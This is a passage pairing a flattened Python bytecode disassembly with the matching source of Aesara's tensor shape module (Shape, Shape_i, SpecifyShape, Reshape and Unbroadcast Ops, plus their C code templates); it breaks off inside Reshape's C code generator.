BUILD_LIST RETURN_VALUE LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 22 STORE_FAST ele LOAD_FAST ele LOAD_CONST -1 COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST ele LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST i LOAD_DEREF requ LOAD_FAST i BINARY_SUBSCR LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 38 STORE_FAST i LOAD_GLOBAL at LOAD_METHOD switch LOAD_DEREF eq LOAD_DEREF requ LOAD_FAST i BINARY_SUBSCR LOAD_CONST -1 CALL_FUNCTION LOAD_DEREF rest_size LOAD_DEREF requ LOAD_FAST i BINARY_SUBSCR CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_CONST (9,) RETURN_VALUE LOAD_FAST inputs UNPACK_SEQUENCE STORE_FAST x STORE_FAST shp LOAD_FAST outputs UNPACK_SEQUENCE STORE_FAST z LOAD_FAST sub LOAD_CONST 'fail' BINARY_SUBSCR STORE_FAST fail LOAD_FAST sub LOAD_CONST 'params' BINARY_SUBSCR STORE_FAST params LOAD_CONST '\n assert (PyArray_NDIM(' LOAD_FAST shp FORMAT_VALUE LOAD_CONST ') == 1);\n\n PyArray_Dims newshape;\n\n if (!PyArray_IntpConverter((PyObject *)' LOAD_FAST shp FORMAT_VALUE LOAD_CONST ', &newshape)) {\n ' LOAD_FAST fail FORMAT_VALUE LOAD_CONST ';\n }\n\n if (' LOAD_FAST params FORMAT_VALUE LOAD_CONST '->ndim != newshape.len) {\n PyErr_SetString(PyExc_ValueError, "Shape argument to Reshape has incorrect length");\n PyDimMem_FREE(newshape.ptr);\n ' LOAD_FAST fail FORMAT_VALUE LOAD_CONST ';\n }\n\n Py_XDECREF(' LOAD_FAST z FORMAT_VALUE LOAD_CONST ');\n ' LOAD_FAST z FORMAT_VALUE LOAD_CONST ' = (PyArrayObject *) PyArray_Newshape(' LOAD_FAST x FORMAT_VALUE LOAD_CONST ', &newshape, NPY_CORDER);\n\n PyDimMem_FREE(newshape.ptr);\n\n if (!' LOAD_FAST z FORMAT_VALUE LOAD_CONST ') {\n //The error message should have been set by PyArray_Newshape\n ' LOAD_FAST fail FORMAT_VALUE LOAD_CONST ';\n }\n ' BUILD_STRING RETURN_VALUE LOAD_FAST ndim LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL at LOAD_METHOD as_tensor_variable LOAD_FAST newshape CALL_METHOD STORE_FAST newshape LOAD_FAST newshape LOAD_ATTR type LOAD_ATTR ndim LOAD_CONST 1 COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL TypeError LOAD_CONST 'New shape in reshape must be a vector or a list/tuple of scalar. Got ' LOAD_FAST newshape FORMAT_VALUE LOAD_CONST ' after conversion to a vector.' BUILD_STRING CALL_FUNCTION RAISE_VARARGS SETUP_EXCEPT to 60 LOAD_GLOBAL get_vector_length LOAD_FAST newshape CALL_FUNCTION STORE_FAST ndim POP_BLOCK JUMP_FORWARD to 96 DUP_TOP LOAD_GLOBAL ValueError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_GLOBAL ValueError LOAD_CONST 'The length of the provided shape (' LOAD_FAST newshape FORMAT_VALUE LOAD_CONST ") cannot be automatically determined, so Aesara is not able to know what the number of dimensions of the reshaped variable will be. You can provide the 'ndim' keyword argument to 'reshape' to avoid this problem." BUILD_STRING CALL_FUNCTION RAISE_VARARGS POP_EXCEPT JUMP_FORWARD to 96 END_FINALLY LOAD_GLOBAL Reshape LOAD_FAST ndim CALL_FUNCTION STORE_FAST op LOAD_FAST op LOAD_FAST x LOAD_FAST newshape CALL_FUNCTION STORE_FAST rval LOAD_FAST rval RETURN_VALUE LOAD_GLOBAL at LOAD_METHOD as_tensor_variable LOAD_FAST t CALL_METHOD STORE_FAST _t LOAD_CONST 'x' BUILD_LIST LOAD_FAST n_ones BINARY_MULTIPLY LOAD_CONST <code object <listcomp> at 0x7f8b200ce9c0, file "f.py", line 723> LOAD_CONST 'shape_padleft.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_FAST _t LOAD_ATTR type LOAD_ATTR ndim CALL_FUNCTION GET_ITER CALL_FUNCTION BINARY_ADD STORE_FAST pattern LOAD_FAST _t LOAD_METHOD dimshuffle LOAD_FAST pattern CALL_METHOD RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 14 STORE_FAST i LOAD_FAST i LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL at LOAD_METHOD as_tensor_variable LOAD_FAST t CALL_METHOD STORE_FAST _t LOAD_CONST <code object <listcomp> at 0x7f8b200ceae0, file "f.py", line 739> LOAD_CONST 'shape_padright.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_FAST _t LOAD_ATTR type LOAD_ATTR ndim CALL_FUNCTION GET_ITER CALL_FUNCTION LOAD_CONST 'x' BUILD_LIST LOAD_FAST n_ones BINARY_MULTIPLY BINARY_ADD STORE_FAST pattern LOAD_FAST _t LOAD_METHOD dimshuffle LOAD_FAST pattern CALL_METHOD RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 14 STORE_FAST i LOAD_FAST i LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL at LOAD_METHOD as_tensor_variable LOAD_FAST t CALL_METHOD STORE_FAST _t LOAD_FAST _t LOAD_ATTR ndim LOAD_CONST 1 BINARY_ADD STORE_FAST ndim LOAD_FAST ndim UNARY_NEGATIVE LOAD_FAST axis DUP_TOP ROT_THREE COMPARE_OP <= POP_JUMP_IF_FALSE LOAD_FAST ndim COMPARE_OP < POP_JUMP_IF_TRUE JUMP_FORWARD to 44 POP_TOP LOAD_CONST 'axis {0} is out of bounds [-{1}, {1})' LOAD_METHOD format LOAD_FAST axis LOAD_FAST ndim CALL_METHOD STORE_FAST msg LOAD_GLOBAL IndexError LOAD_FAST msg CALL_FUNCTION RAISE_VARARGS LOAD_FAST axis LOAD_CONST 0 COMPARE_OP < POP_JUMP_IF_FALSE LOAD_FAST axis LOAD_FAST ndim INPLACE_ADD STORE_FAST axis LOAD_CONST <code object <listcomp> at 0x7f8b200cec00, file "f.py", line 774> LOAD_CONST 'shape_padaxis.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_FAST _t LOAD_ATTR type LOAD_ATTR ndim CALL_FUNCTION GET_ITER CALL_FUNCTION STORE_FAST pattern LOAD_FAST pattern LOAD_METHOD insert LOAD_FAST axis LOAD_CONST 'x' CALL_METHOD POP_TOP LOAD_FAST _t LOAD_METHOD dimshuffle LOAD_FAST pattern CALL_METHOD RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 14 STORE_FAST i LOAD_FAST i LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL as_tensor_variable LOAD_FAST x CALL_FUNCTION STORE_FAST x LOAD_DEREF axes POP_JUMP_IF_TRUE LOAD_FAST x RETURN_VALUE LOAD_GLOBAL max LOAD_DEREF axes CALL_FUNCTION LOAD_FAST x LOAD_ATTR type LOAD_ATTR ndim COMPARE_OP >= POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Trying to specify broadcastable of non-existent dimension' CALL_FUNCTION RAISE_VARARGS LOAD_CLOSURE axes BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7f8b200ced20, file "f.py", line 845> LOAD_CONST 'specify_broadcastable.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL enumerate LOAD_FAST x LOAD_ATTR type LOAD_ATTR shape CALL_FUNCTION GET_ITER CALL_FUNCTION STORE_FAST shape_info LOAD_GLOBAL specify_shape LOAD_FAST x LOAD_FAST shape_info CALL_FUNCTION RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 30 UNPACK_SEQUENCE STORE_FAST i STORE_FAST s LOAD_FAST i LOAD_DEREF axes COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST 1 JUMP_FORWARD to 26 LOAD_FAST s LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Unbroadcast' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n Mask static broadcastable dimensions of input as `None`\n\n See Also\n --------\n unbroadcast <aesara.tensor.shape.unbroadcast>\n\n\n Examples\n --------\n ``Unbroadcast((1,))(x)`` would make `x` second static dimension be `None`\n\n ' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST BUILD_MAP STORE_NAME view_map LOAD_CONST True STORE_NAME _f16_ok BUILD_MAP STORE_NAME c_code_and_version LOAD_NAME Dict LOAD_NAME __annotations__ LOAD_CONST 'c_code_and_version' STORE_SUBSCR LOAD_CONST False STORE_NAME check_input LOAD_CONST ('axes',) STORE_NAME __props__ LOAD_CONST True STORE_NAME _f16_ok LOAD_CONST <code object __init__ at 0x7f8b200cee40, file "f.py", line 872> LOAD_CONST 'Unbroadcast.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object __str__ at 0x7f8b200cef60, file "f.py", line 879> LOAD_CONST 'Unbroadcast.__str__' MAKE_FUNCTION STORE_NAME __str__ LOAD_CONST <code object make_node at 0x7f8b20108150, file "f.py", line 882> LOAD_CONST 'Unbroadcast.make_node' MAKE_FUNCTION STORE_NAME make_node LOAD_CONST <code object perform at 0x7f8b201081e0, file "f.py", line 892> LOAD_CONST 'Unbroadcast.perform' MAKE_FUNCTION STORE_NAME perform LOAD_CONST <code object grad at 0x7f8b20108270, file "f.py", line 897> LOAD_CONST 'Unbroadcast.grad' MAKE_FUNCTION STORE_NAME grad LOAD_CONST <code object infer_shape at 0x7f8b20108300, file "f.py", line 902> LOAD_CONST 'Unbroadcast.infer_shape' MAKE_FUNCTION STORE_NAME infer_shape LOAD_CONST <code object R_op at 0x7f8b20108390, file "f.py", line 906> LOAD_CONST 'Unbroadcast.R_op' MAKE_FUNCTION STORE_NAME R_op LOAD_CONST <code object c_code at 0x7f8b20108420, file "f.py", line 911> LOAD_CONST 'Unbroadcast.c_code' MAKE_FUNCTION STORE_NAME c_code LOAD_CONST <code object c_code_cache_version at 0x7f8b201084b0, file "f.py", line 921> LOAD_CONST 'Unbroadcast.c_code_cache_version' MAKE_FUNCTION STORE_NAME c_code_cache_version LOAD_CONST None RETURN_VALUE LOAD_GLOBAL tuple LOAD_GLOBAL sorted LOAD_FAST axis CALL_FUNCTION CALL_FUNCTION STORE_FAST items LOAD_FAST items LOAD_FAST self STORE_ATTR axes SETUP_LOOP to 64 LOAD_FAST self LOAD_ATTR axes GET_ITER FOR_ITER to 62 STORE_FAST axis LOAD_GLOBAL isinstance LOAD_FAST axis LOAD_GLOBAL np LOAD_ATTR integer LOAD_GLOBAL int BUILD_TUPLE CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL TypeError LOAD_CONST 'Unbroadcast needs integer axes. Got ' LOAD_FAST axis FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR __class__ LOAD_ATTR __name__ FORMAT_VALUE LOAD_CONST '{' LOAD_CONST ',' LOAD_METHOD join LOAD_CONST <code object <genexpr> at 0x7f8b200ceed0, file "f.py", line 880> LOAD_CONST 'Unbroadcast.__str__.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR axes GET_ITER CALL_FUNCTION CALL_METHOD FORMAT_VALUE LOAD_CONST '}' BUILD_STRING RETURN_VALUE LOAD_FAST .0 FOR_ITER to 18 STORE_FAST i LOAD_GLOBAL str LOAD_FAST i CALL_FUNCTION YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL as_tensor_variable LOAD_FAST x CALL_FUNCTION STORE_FAST x LOAD_FAST x LOAD_ATTR type LOAD_ATTR ndim LOAD_GLOBAL max LOAD_DEREF self LOAD_ATTR axes CALL_FUNCTION COMPARE_OP <= POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Trying to unbroadcast of non-existent dimension' CALL_FUNCTION RAISE_VARARGS LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7f8b20108030, file "f.py", line 887> LOAD_CONST 'Unbroadcast.make_node.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL enumerate LOAD_FAST x LOAD_ATTR type LOAD_ATTR shape CALL_FUNCTION GET_ITER CALL_FUNCTION STORE_FAST shape LOAD_GLOBAL Apply LOAD_DEREF self LOAD_FAST x BUILD_LIST LOAD_FAST x LOAD_ATTR type LOAD_ATTR clone LOAD_FAST shape LOAD_CONST ('shape',) CALL_FUNCTION CALL_FUNCTION BUILD_LIST CALL_FUNCTION RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 40 UNPACK_SEQUENCE STORE_FAST i STORE_FAST sh LOAD_FAST sh LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST i LOAD_DEREF self LOAD_ATTR axes COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST None JUMP_FORWARD to 36 LOAD_FAST sh LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST inp UNPACK_SEQUENCE STORE_FAST x LOAD_FAST out_ UNPACK_SEQUENCE STORE_FAST out LOAD_FAST x LOAD_FAST out LOAD_CONST 0 STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_FAST inp UNPACK_SEQUENCE STORE_FAST x LOAD_FAST grads UNPACK_SEQUENCE STORE_FAST gz LOAD_GLOBAL specify_shape LOAD_FAST gz LOAD_FAST x LOAD_ATTR type LOAD_ATTR shape CALL_FUNCTION BUILD_LIST RETURN_VALUE LOAD_GLOBAL len LOAD_FAST ishapes CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL tuple LOAD_FAST ishapes LOAD_CONST 0 BINARY_SUBSCR CALL_FUNCTION BUILD_LIST RETURN_VALUE LOAD_FAST eval_points LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None BUILD_LIST RETURN_VALUE LOAD_FAST self LOAD_FAST eval_points LOAD_CONST 'return_list' LOAD_CONST True BUILD_MAP CALL_FUNCTION RETURN_VALUE LOAD_FAST inp UNPACK_SEQUENCE STORE_FAST iname LOAD_FAST out UNPACK_SEQUENCE STORE_FAST oname LOAD_CONST '\n Py_XDECREF(' LOAD_FAST oname FORMAT_VALUE LOAD_CONST ');\n ' LOAD_FAST oname FORMAT_VALUE LOAD_CONST ' = ' LOAD_FAST iname FORMAT_VALUE LOAD_CONST ';\n Py_XINCREF(' LOAD_FAST oname FORMAT_VALUE LOAD_CONST ');\n ' BUILD_STRING RETURN_VALUE LOAD_CONST (3,) RETURN_VALUE LOAD_GLOBAL as_tensor_variable LOAD_DEREF x CALL_FUNCTION STORE_DEREF x LOAD_CLOSURE x BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7f8b201085d0, file "f.py", line 943> LOAD_CONST 'unbroadcast.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST axes GET_ITER CALL_FUNCTION STORE_FAST unbroadcasted_axes LOAD_FAST unbroadcasted_axes POP_JUMP_IF_TRUE LOAD_DEREF x RETURN_VALUE LOAD_GLOBAL Unbroadcast LOAD_FAST unbroadcasted_axes CALL_FUNCTION LOAD_DEREF x CALL_FUNCTION RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 30 STORE_FAST axis LOAD_DEREF x LOAD_ATTR type LOAD_ATTR shape LOAD_FAST axis BINARY_SUBSCR LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST axis LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE
import warnings from numbers import Number from textwrap import dedent from typing import Dict, List, Tuple, Union import numpy as np import aesara from aesara.gradient import DisconnectedType from aesara.graph.basic import Apply, Variable from aesara.graph.type import HasShape from aesara.link.c.op import COp from aesara.link.c.params_type import ParamsType from aesara.misc.safe_asarray import _asarray from aesara.scalar import int32 from aesara.tensor import _get_vector_length, as_tensor_variable from aesara.tensor import basic as at from aesara.tensor import get_vector_length from aesara.tensor.exceptions import NotScalarConstantError from aesara.tensor.type import DenseTensorType, TensorType, int_dtypes, tensor from aesara.tensor.type_other import NoneConst from aesara.tensor.var import TensorConstant, TensorVariable ShapeValueType = Union[None, np.integer, int, Variable] def register_shape_c_code(type, code, version=()): """ Tell Shape Op how to generate C code for an Aesara Type. Parameters ---------- typ : Aesara type It must be the Aesara class itself and not an instance of the class. code : C code Returns a vector representing the shape for the Aesara type 'typ'. Use %(iname)s and %(oname)s for the input and output C variable names respectively. version A number indicating the version of the code, for cache. """ Shape.c_code_and_version[type] = (code, version) class Shape(COp): """ L{Op} to return the shape of a matrix. Notes ----- Non-differentiable. """ _f16_ok = True c_code_and_version: Dict = {} check_input = False __props__ = () def make_node(self, x): if not isinstance(x, Variable): x = at.as_tensor_variable(x) if isinstance(x.type, TensorType): out_var = TensorType("int64", (x.type.ndim,))() else: out_var = aesara.tensor.type.lvector() return Apply(self, [x], [out_var]) def perform(self, node, inp, out_): (x,) = inp (out,) = out_ out[0] = _asarray(np.shape(x), dtype="int64") def infer_shape(self, fgraph, node, in_shapes): return [[len(in_shapes[0])]] def connection_pattern(self, node): return [[False]] def grad(self, inp, grads): return [aesara.gradient.DisconnectedType()()] def R_op(self, inputs, eval_points): return [None] def c_code(self, node, name, inames, onames, sub): (iname,) = inames (oname,) = onames fail = sub["fail"] itype = node.inputs[0].type.__class__ if itype in self.c_code_and_version: code, version = self.c_code_and_version[itype] return code % locals() raise NotImplementedError() def c_code_cache_version(self): version = [] for t, (c, v) in sorted( self.c_code_and_version.items(), key=lambda pair: str(pair[0]) ): if not v: warnings.warn( f"Type {t} has C code for Shape, but it has no " "version. You should add a 'version' keyword " "arg when calling register_shape_c_code.", stacklevel=2, ) return () version.append((str(t), v)) if version: version.append(1) return tuple(version) _shape = Shape() def shape(x: Union[np.ndarray, Number, Variable]) -> Variable: """Return the shape of `x`.""" if not isinstance(x, Variable): x = at.as_tensor_variable(x) x_type = x.type if isinstance(x_type, TensorType) and all(s is not None for s in x_type.shape): res = at.as_tensor_variable(x_type.shape, ndim=1, dtype=np.int64) else: res = _shape(x) return res @_get_vector_length.register(Shape) def _get_vector_length_Shape(op, var): return var.owner.inputs[0].type.ndim def shape_tuple(x: TensorVariable) -> Tuple[Variable, ...]: r"""Get a tuple of symbolic shape values. This will return `ScalarConstant`\s for static shape values. """ if not isinstance(x.type, HasShape): return () res = () symbolic_shape = shape(x) static_shape = x.type.shape for i in range(x.type.ndim): shape_val = static_shape[i] if shape_val is not None: res += (aesara.scalar.ScalarConstant(aesara.scalar.int64, shape_val),) else: res += (symbolic_shape[i],) return res class Shape_i(COp): """ L{Op} to return the shape of a matrix. Notes ----- Non-differentiable. """ _f16_ok = True c_code_and_version: Dict = {} check_input = False __props__ = ("i",) def __init__(self, i): if isinstance(i, np.ndarray): assert i.dtype in aesara.tensor.type.integer_dtypes assert i == int(i) i = int(i) self.i = i @property def params_type(self): return ParamsType(i=aesara.scalar.basic.int64) def __str__(self): return "%s{%i}" % (self.__class__.__name__, self.i) def make_node(self, x): if not isinstance(x, Variable) or not hasattr(x.type, "ndim"): raise TypeError( f"{x} must be `Variable` with a `Type` having an ndim attribute" ) if x.type.ndim <= self.i: raise TypeError(f"{x} has too few dimensions for Shape_i") return Apply(self, [x], [aesara.tensor.type.lscalar()]) def perform(self, node, inp, out_, params): (x,) = inp (out,) = out_ if out[0] is None: out[0] = _asarray(np.shape(x)[self.i], dtype="int64") else: out[0][...] = np.shape(x)[self.i] def c_code_cache_version(self): version = [] for t, (c, ci, v) in sorted( self.c_code_and_version.items(), key=lambda pair: str(pair[0]) ): if not v: warnings.warn( f"Type {t} has C code for Shape_i, but it has " "no version. You should add a 'version' keyword " "arg when calling register_shape_i_c_code.", stacklevel=2, ) return () version.append((str(t), v)) if version: version.append(2) return tuple(version) def c_code(self, node, name, inames, onames, sub): (iname,) = inames (oname,) = onames fail = sub["fail"] i = sub["params"] + "->i" itype = node.inputs[0].type.__class__ if itype in self.c_code_and_version: code, check_input, version = self.c_code_and_version[itype] return (check_input + code) % locals() raise NotImplementedError() def infer_shape(self, fgraph, node, input_shapes): return [()] def connection_pattern(self, node): return [[False]] def grad(self, inp, grads): return [ aesara.gradient.grad_not_implemented( op=self, x_pos=0, x=inp[0], comment=("No gradient for the shape of a matrix " "is implemented."), ) ] def shape_i(var, i, fgraph=None): """ Equivalent of var.shape[i], but apply if possible the shape feature optimization. This is useful in optimization that need to get the shape. This remove the need of the following shape_feature optimization that convert it. So this speed up optimization and remove Equilibrium max iteration problems. Parameters ---------- var : Variable The variable we want to take the shape of. i : int The shape dimensions we want fgraph : FunctionGraph (optional) """ if fgraph and hasattr(fgraph, "shape_feature"): shape_feature = fgraph.shape_feature shape_of = shape_feature.shape_of def recur(node): if not node.outputs[0] in shape_of: for inp in node.inputs: if inp.owner: recur(inp.owner) shape_feature.on_import(fgraph, node, "graph.ops.shape_i") if var not in shape_of: recur(var.owner) return shape_of[var][i] return shape(var)[i] def shape_i_op(i): key = i if key not in shape_i_op.cache: shape_i_op.cache[key] = Shape_i(i) return shape_i_op.cache[key] shape_i_op.cache = {} def register_shape_i_c_code(typ, code, check_input, version=()): """ Tell Shape_i how to generate C code for an Aesara Type. Parameters ---------- typ : Aesara type It must be the Aesara class itself and not an instance of the class. code : C code Gets the shape of dimensions %(i)s for the Aesara type 'typ'. Use %(iname)s and %(oname)s for the input and output C variable names respectively. version A number indicating the version of the code, for cache. """ Shape_i.c_code_and_version[typ] = (code, check_input, version) class SpecifyShape(COp): """ L{Op} that puts into the graph the user-provided shape. In the case where this `Op` stays in the final graph, we assert the shape. For this the output of this op must be used in the graph. This is not the case most of the time if we only take the shape of the output. Maybe there are other optimizations that will mess with this. Notes ----- Maybe in the future we will never do the assert! """ view_map = {0: [0]} __props__ = () _f16_ok = True def make_node(self, x, *shape): from aesara.tensor.basic import get_scalar_constant_value x = at.as_tensor_variable(x) shape = tuple( ( NoneConst if (s is None or NoneConst.equals(s)) else at.as_tensor_variable(s, ndim=0) ) for s in shape ) if any( s.dtype not in aesara.tensor.type.integer_dtypes for s in shape if hasattr(s, "dtype") ): raise TypeError("Shape values must be integer types") if len(shape) != x.type.ndim: raise ValueError( f"Input `x` is {x.type.ndim}-dimensional and will never match a shape of length {len(shape)}." ) type_shape = [None] * x.ndim for i, (xts, s) in enumerate(zip(x.type.shape, shape)): if xts is not None: type_shape[i] = xts else: try: type_s = get_scalar_constant_value(s) if type_s is not None: type_shape[i] = int(type_s) except NotScalarConstantError: pass out_var = x.type.clone(shape=type_shape)() return Apply(self, [x, *shape], [out_var]) def perform(self, node, inp, out_): x, *shape = inp (out,) = out_ ndim = len(shape) if x.ndim != ndim: raise AssertionError( f"SpecifyShape: Got {x.ndim} dimensions (shape {x.shape}), expected {ndim} dimensions with shape {tuple(shape)}." ) if not all(xs == s for xs, s in zip(x.shape, shape) if s is not None): raise AssertionError( f"SpecifyShape: Got shape {x.shape}, expected {tuple(int(s) if s is not None else None for s in shape)}." ) out[0] = x def infer_shape(self, fgraph, node, shapes): xshape, *_ = shapes shape = node.inputs[1:] new_shape = [] for dim in range(node.inputs[0].type.ndim): s = shape[dim] try: s = at.get_scalar_constant_value(s) if s is None: s = xshape[dim] except NotScalarConstantError: pass new_shape.append(at.as_tensor_variable(s)) assert len(new_shape) == len(xshape) return [new_shape] def connection_pattern(self, node): return [[True], *[[False]] * len(node.inputs[1:])] def grad(self, inp, grads): x, *shape = inp (gz,) = grads return [specify_shape(gz, shape)] + [ aesara.gradient.DisconnectedType()() for _ in range(len(shape)) ] def R_op(self, inputs, eval_points): if eval_points[0] is None: return [None] return self.make_node(eval_points[0], *inputs[1:]).outputs def c_code(self, node, name, i_names, o_names, sub): if not isinstance(node.inputs[0].type, DenseTensorType): raise NotImplementedError( f"Specify_shape c_code not implemented for input type {node.inputs[0].type}" ) x_name, *shape_names = i_names (o_name,) = o_names fail = sub["fail"] code = dedent( f""" if (PyArray_NDIM({x_name}) != {len(shape_names)}) {{ PyErr_Format(PyExc_AssertionError, "SpecifyShape: Got %d dimensions, expected %d dimensions.", PyArray_NDIM({x_name}), {len(shape_names)} ); {fail}; }} """ ) for i, (shp_name, shp) in enumerate(zip(shape_names, node.inputs[1:])): if NoneConst.equals(shp): continue code += dedent( f""" if (py_{shp_name} != Py_None){{ dtype_{shp_name} shp = ((dtype_{shp_name}*)PyArray_GETPTR1({shp_name}, 0))[0]; if (PyArray_DIMS({x_name})[{i}] != shp) {{ PyErr_Format(PyExc_AssertionError, "SpecifyShape: dim %d of input has shape %d, expected %d.", {i}, PyArray_DIMS({x_name})[{i}], shp ); {fail}; }} }} """ ) code += dedent( f""" Py_XDECREF({o_name}); {o_name} = {x_name}; Py_XINCREF({o_name}); """ ) return code def c_code_cache_version(self): return (2,) _specify_shape = SpecifyShape() def specify_shape( x: Union[np.ndarray, Number, Variable], shape: Union[ShapeValueType, List[ShapeValueType], Tuple[ShapeValueType]], ): """Specify a fixed shape for a `Variable`. If a dimension's shape value is ``None``, the size of that dimension is not considered fixed/static at runtime. """ if not isinstance(shape, (tuple, list)): shape = (shape,) if len(shape) == 1 and shape[0] is not None: shape_vector = at.as_tensor_variable(shape[0]) if shape_vector.ndim == 1: try: shape = tuple(shape_vector) except ValueError: raise ValueError("Shape vector must have fixed dimensions") x = at.as_tensor_variable(x) new_shape_info = any( s != xts for (s, xts) in zip(shape, x.type.shape) if s is not None ) if not new_shape_info and len(shape) == x.type.ndim: return x return _specify_shape(x, *shape) @_get_vector_length.register(SpecifyShape) def _get_vector_length_SpecifyShape(op, var): try: return at.get_scalar_constant_value(var.owner.inputs[1]).item() except NotScalarConstantError: raise ValueError(f"Length of {var} cannot be determined") class Reshape(COp): """Perform a reshape operation of the input x to the new shape shp. The number of dimensions to which to reshape to (ndim) must be known at graph build time. """ view_map = {0: [0]} # output 0 is potentially aliased to inputs [0] _f16_ok = True check_input = False __props__ = ("ndim",) params_type = ParamsType(ndim=int32) def __init__(self, ndim, name=None): self.ndim = int(ndim) if ndim < 0: raise ValueError("The output dimensions after reshape must be 0 or greater") assert name is None, "name attribute for Reshape has been deprecated" def __str__(self): return f"{self.__class__.__name__}{{{self.ndim}}}" def make_node(self, x, shp): x = at.as_tensor_variable(x) shp_orig = shp shp = at.as_tensor_variable(shp, ndim=1) if not ( shp.dtype in int_dtypes or (isinstance(shp, TensorConstant) and shp.data.size == 0) ): raise TypeError(f"Shape must be integers; got {shp.dtype}") assert shp.ndim == 1 if isinstance(shp, TensorConstant): out_shape = tuple(int(s) if s >= 0 else None for s in shp.data) else: out_shape = [None] * self.ndim shp_list = shp_orig if hasattr(shp_orig, "ndim") and shp_orig.ndim == 0: shp_list = [shp_orig] for index in range(self.ndim): y = shp_list[index] y = at.as_tensor_variable(y) try: s_val = at.get_scalar_constant_value(y).item() if s_val >= 0: out_shape[index] = s_val except NotScalarConstantError: pass return Apply(self, [x, shp], [tensor(x.type.dtype, shape=out_shape)]) def perform(self, node, inp, out_, params): x, shp = inp (out,) = out_ if len(shp) != self.ndim: raise ValueError( "Shape argument to Reshape has incorrect" f" length: {len(shp)}, should be {self.ndim}" ) out[0] = np.reshape(x, shp) def connection_pattern(self, node): return [[True], [False]] def grad(self, inp, grads): x, shp = inp (g_out,) = grads return [reshape(g_out, shape(x), ndim=x.ndim), DisconnectedType()()] def R_op(self, inputs, eval_points): if eval_points[0] is None: return [None] return self(eval_points[0], *inputs[1:], return_list=True) def infer_shape(self, fgraph, node, ishapes): from aesara.tensor.math import eq, maximum, mul if len(ishapes[0]) == 0: return [(1,) * self.ndim] requ = node.inputs[1] input_size = mul(*ishapes[0]) if isinstance(requ, TensorConstant): requ = list(requ.data) requ_part = [ele for ele in requ if ele != -1] crit = len(requ) - len(requ_part) if crit == 1 and len(requ_part) > 0: requ_size = mul(*requ_part) missing = input_size // (1 if requ_size == 0 else requ_size) for i, ele in enumerate(requ): if ele == -1: requ[i] = missing elif crit == 1: # we reshape to -1 requ = [input_size] if ishapes[0] else [1] elif crit > 1: raise ValueError( "shape argument to Reshape.perform" " must have at most one entry equal to -1" ) return [requ] else: requ = [requ[i] for i in range(self.ndim)] if self.ndim: requ_size = -mul(*requ) rest_size = input_size // maximum(requ_size, 1) return [ tuple( [ at.switch(eq(requ[i], -1), rest_size, requ[i]) for i in range(self.ndim) ] ) ] def c_code_cache_version(self): return (9,) def c_code(self, node, name, inputs, outputs, sub): x, shp = inputs (z,) = outputs fail = sub["fail"] params = sub["params"] return f""" assert (PyArray_NDIM({shp}) == 1); PyArray_Dims newshape; if (!PyArray_IntpConverter((PyObject *){shp}, &newshape)) {{ {fail}; }} if ({params}->ndim != newshape.len) {{ PyErr_SetString(PyExc_ValueError, "Shape argument to Reshape has incorrect length"); PyDimMem_FREE(newshape.ptr); {fail}; }} Py_XDECREF({z}); {z} = (PyArrayObject *) PyArray_Newshape({x}, &newshape, NPY_CORDER); 